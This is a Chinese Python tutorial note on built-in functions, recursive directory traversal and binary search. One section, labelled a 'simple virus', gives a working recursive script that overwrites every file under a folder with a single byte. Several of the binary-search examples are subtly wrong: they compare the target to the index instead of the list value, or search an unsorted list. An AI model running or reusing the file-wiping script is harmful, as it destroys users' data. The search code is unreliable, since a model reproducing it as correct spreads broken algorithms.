1.昨日的补充 reversed    翻转, 将一个序列翻转,返回翻转序列的迭代器 lst = ["河南话", "四川话", "东北", "山东", "上海"]   n = reversed(lst) print(list(n)) 判断是不是回文 huiwen = "上海自来水来自海上"   # s = huiwen[::-1]   #切片的翻转 s1 = reversed(huiwen)   ###返回的是迭代器 n ="" for i in s1:     n += i print(n) slice  切片  ###麻烦 lst = ["河南话", "四川话", "东北", "山东", "上海"] s = slice(3, 5) print(lst[s]) format()  与具体数据相关,用于计算各种小数,精算等 #格式化输出 s = "我叫{name}, 我来自{home}, 我喜欢干{hobby}".format(name="周杰伦", home="台湾", hobby="唱歌") print(s) # 字符串 和center 相同   对齐   # s = "门神" # s1 = s.center(20) # print(s1)   print(format('test', '<20')) # 左对⻬  print(format('test', '>20')) # 右对⻬  print(format('test', '^20')) # 居中  # 数值  print(format(3, 'b')) # ⼆进制  print(format(97, 'c')) # 转换成unicode字符  print(format(11, 'd')) # ⼗进制  print(format(11, 'o')) # ⼋进制  print(format(11, 'x')) # ⼗六进制(⼩写字⺟)  print(format(11, 'X')) # ⼗六进制(⼤写字⺟)  print(format(11, 'n')) # 和d⼀样  print(format(11)) # 和d⼀样  # 浮点数 (重点,主要运用在金融计算) print(format(123456789, 'e')) # 科学计数法. 默认保留6位⼩数  print(format(123456789, '0.2e')) # 科学计数法. 保留2位⼩数(⼩写) print(format(123456789, '0.2E')) # 科学计数法. 保留2位⼩数(⼤写) print(format(1.23456789, 'f')) # ⼩数点计数法. 保留6位⼩数  print(format(1.23456789, '0.2f')) # ⼩数点计数法. 保留2位⼩数 print(format(1.23456789, '0.10f')) # ⼩数点计数法. 保留10位⼩数 print(format(1.23456789e+10000, 'F')) # ⼩数点计数法. ord() 输入字符找带字符编码的位置 # 找到对应字符的编码位置 print(ord('a'))  print(ord('中')) chr() 输入位置数字找出对应的字符 # 找到对应编码位置的字符  print(chr(97))  print(chr(20013)) ascii() 是ascii码中的返回该值 不是就返回\u... # 在ascii中就返回这个值. 如果不在就返回\u...  print(ascii('a'))  print(ascii('好')) 转义字符 \n 换行 \t tab 制表符 \r 回车 \" 双引号 \' 单引号 \\ ---> \ print('你好, 我叫周杰伦.我来自\\n台湾. 我老婆叫昆凌') repr() 返回⼀个对象的string形式, 还原字符串最官方的效果 r 原封不动的显示字符串 # repr 就是原封不动的输出, 引号和转义字符都不起作⽤  print(repr('⼤家好,\n \t我叫周杰伦'))  print('⼤家好我叫周杰伦')  # %r 原封不动的写出来  name = 'taibai'  print('我叫%r' % name) str:python的字符串 repr: 所有的字符串 print(repr("你好. \\n我叫\周杰伦"))  # python -> repr() -> cpython c里面. 报错   print(r"\n\t范德萨发生\r\b\ffdsaf")  # 原封不动的显示字符串 递归 递归就是函数自己调用自己,递归必须要有入口(参数)和出口(return) def func():     print("我是递归")     func() 树形结构的遍历 import os   def func(lujing, n): # "d:/a/"     lst = os.listdir(lujing) # 打开文件夹. 列出该文件夹内的所有文件名     for el in lst: # el是文件的名字.  b, c         # 还原文件路径         path = os.path.join(lujing, el) # "d:/a/b"         if os.path.isdir(path): # 判断路径是否是文件夹             print("..." * n,el) # 显示文件夹的名字             func(path, n + 1)  # 在来一次  ################         else:             print("\t" * n,el) # 显示文件   func("d:/a", 0) 简易的病毒 import os def func(lujing, n): # d:/a/b     lst = os.listdir(lujing)     for el in lst: # b, c         # 路径         path = os.path.join(lujing, el) # 拼接路径 d:/a/b         # 判断是文件还是文件夹         if os.path.isdir(path):             print("\t" * n, el)             func(path, n+1)         else:             f = open(path, mode="wb")  ##路径写入             f.write(b'1')    #通过修改字节             print("\t" * n, el)     func("d:/a/", 0) 二分法 掐头结尾取中间,规则: 掐头结尾取中间,数据必须是有序序列 查找效率非常高 ###通过循环列表跟输入的数字进行比较 lst = [1,3,5,7,12,36,68,79] # 数据集 百万级数据 num = int(input("请输入一个数字:")) for i in lst:     if i == num:         print("这个数存在")         break else:     print("这个数不存在") 二分法查找(需要明白和掌握) lst = [1,3,5,7,12,36,68,79]      0 1 2 3  4  5  6 7     #通过索引最左加上最右地板除取中间 num = int(input("请输入一个数字:"))   lift = 0 right = len(lst) -1   while lift <= right:     mid = (lift + right) // 2     if num > mid:         lift = mid + 1     elif num < mid:         right = mid -1     else:         print('存在')         break else:     print('不存在') 递归的方法一:  通过索引列表的索引 #递归 def func(n, lst):     lift = 0     right = len(lst)     if lst != []:         mid = (lift+right) // 2         if n > lst[mid]:             func(n, lst[mid+1:])         elif n < mid:             func(n, lst[:mid])         else:             print("存在")             return     else:         print('不存在')         return n = int(input("请输入一个数字:")) func(n, [1,3,5,7,12,36,68,79]) 递归二(需要明白和掌握) def func(n, lst, left, right): # 递归找到什么是可以变的. 什么是不可以变的     if left <= right:         mid = (left + right) // 2         if n > lst[mid]:             left = mid + 1             return func(n, lst, left, right)         elif n < lst[mid]:             right = mid - 1             return func(n, lst, left, right) # 递归如果有返回值. 所有调用递归的地方必须写return         else:             print("找到了")             return mid  # 难点     else:         print("找不到")         return -1   n = int(input("请输入你要查找的数:")) lst = [1,3,55,98,37,41,2,5,1,4] ret = func(n, lst, 0, len(lst)-1) # 78 print(ret) 最快的查找 lst = [1,3,55,98,37,41,2,5,1,4]   new_lst = [] for i in range(99):     new_lst.append(0)     for i in lst:    # 1,3,55,98     new_lst[i] = 1   print(new_lst)     i = int(input('请输入你要找的数据')) if new_lst[i] == 0: # 1次     print("不存在") else:     print("存在")  
扫码关注我们
微信号:SRE实战
拒绝背锅 运筹帷幄